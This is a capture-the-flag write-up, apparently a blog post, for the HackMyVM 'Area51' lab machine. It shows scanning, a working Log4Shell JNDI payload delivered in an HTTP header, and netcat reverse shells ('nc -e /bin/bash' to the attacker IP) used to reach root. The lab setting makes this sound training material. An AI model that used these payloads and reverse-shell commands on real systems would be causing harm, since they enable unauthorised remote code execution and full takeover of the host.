HackMyVM - Area51
Find it
└─$ sudo netdiscover -r 10.0.0.0/24 -P|tee findit
[sudo] password for kali:
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
10.0.0.1 08:00:27:96:87:13 1 60 PCS Systemtechnik GmbH
10.0.0.104 08:00:27:e9:7a:77 1 60 PCS Systemtechnik GmbH
-- Active scan completed, 2 Hosts found.
Scan it
└─$ nmap -T4 -p- -sC -sV -oN nmap.out 10.0.0.104
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-26 06:24 EST
Nmap scan report for 10.0.0.104
Host is up (0.00072s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 3072 de:bf:2a:93:86:b8:b3:a3:13:5b:46:66:34:d6:dc:b1 (RSA)
| 256 a9:df:bb:71:90:6c:d1:2f:e7:48:97:2e:ad:7b:15:d3 (ECDSA)
|_ 256 78:75:83:1c:03:03:a1:92:4f:73:8e:f2:2d:23:d2:0e (ED25519)
80/tcp open http Apache httpd 2.4.51 ((Debian))
|_http-server-header: Apache/2.4.51 (Debian)
|_http-title: FBI Access
8080/tcp open nagios-nsca Nagios NSCA
|_http-title: Site doesn't have a title (application/json).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.76 seconds
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -r -u http://10.0.0.104/ -x html,php,txt -t 150
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.0.0.104/
[+] Method: GET
[+] Threads: 150
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: html,php,txt
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
2021/12/26 06:31:54 Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 1131]
/radar (Status: 200) [Size: 730]
/video (Status: 200) [Size: 4655]
/note.txt (Status: 200) [Size: 119]
/moon (Status: 200) [Size: 440]
/server-status (Status: 403) [Size: 275]
RCE to shell
┌──(kali㉿kali)-[~/area51]
└─$ git clone https://github.com/kozmer/log4j-shell-poc.git
Some searching and a few attempts later....
└─$ curl -H 'X-Api-Version:1' http://10.0.0.104:8080/
Hello, world!
1. netcat listener on port 9001 (default for exploit repo)
└─$ python3 poc.py --userip 10.0.0.10
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up LDAP server
[+] Send me: ${jndi:ldap://10.0.0.10:1389/a}
[+] Starting Webserver on port 8000 http://0.0.0.0:8000
Listening on 0.0.0.0:1389
└─$ curl -H 'X-Api-Version:${jndi:ldap://10.0.0.10:1389/a}' http://10.0.0.104:8080/
└─$ nc -nvlp 9001
listening on [any] 9001 ...
connect to [10.0.0.10] from (UNKNOWN) [10.0.0.104] 47558
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
Escalate to user
╔══════════╣ Readable files inside /tmp, /var/tmp, /private/tmp, /private/var/at/tmp, /private/var/tmp, and backup folders (limit 70)
-rw------- 1 root root 32768 Dec 24 12:00 /tmp/hsperfdata_root/1
-rwxr-xr-x 1 root root 194 Dec 19 23:11 /tmp/rev.elf
-rw-r--r-- 1 root root 10 Dec 19 19:19 /var/tmp/.roger
Escalate to root
╔══════════╣ Interesting GROUP writable files (not in Home) (max 500)
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files
Group roger:
/etc/pam.d/kang
kang@area51:~$ ls
weComeInPeace.sh
kang@area51:~$ ls
kang@area51:~$ ls
kang@area51:~$ ls
weComeInPeace.sh
kang@area51:~$ cat *
echo hi
kang@area51:~$ echo "echo test >/tmp/test" > test.sh
kang@area51:~$ ls /tmp/test -l
-rw-r--r-- 1 root root 5 Dec 24 12:02 /tmp/test
kang@area51:~$ echo "nc -e /bin/bash 10.0.0.10 4444" >test.sh
weComeInPeace.sh
kang@area51:~$ ls
kang@area51:~$ ls
kang@area51:~$ ls
weComeInPeace.sh
kang@area51:~$ cat *
echo hi
kang@area51:~$ echo "echo test >/tmp/test" > test.sh
kang@area51:~$ ls /tmp/test -l
-rw-r--r-- 1 root root 5 Dec 24 12:02 /tmp/test
kang@area51:~$ echo "nc -e /bin/bash 10.0.0.10 4444" >test.sh
─$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.0.0.10] from (UNKNOWN) [10.0.0.104] 34830
python3 -c 'import pty; pty.spawn("/bin/bash")'
root@area51:/#
Comments
Post a Comment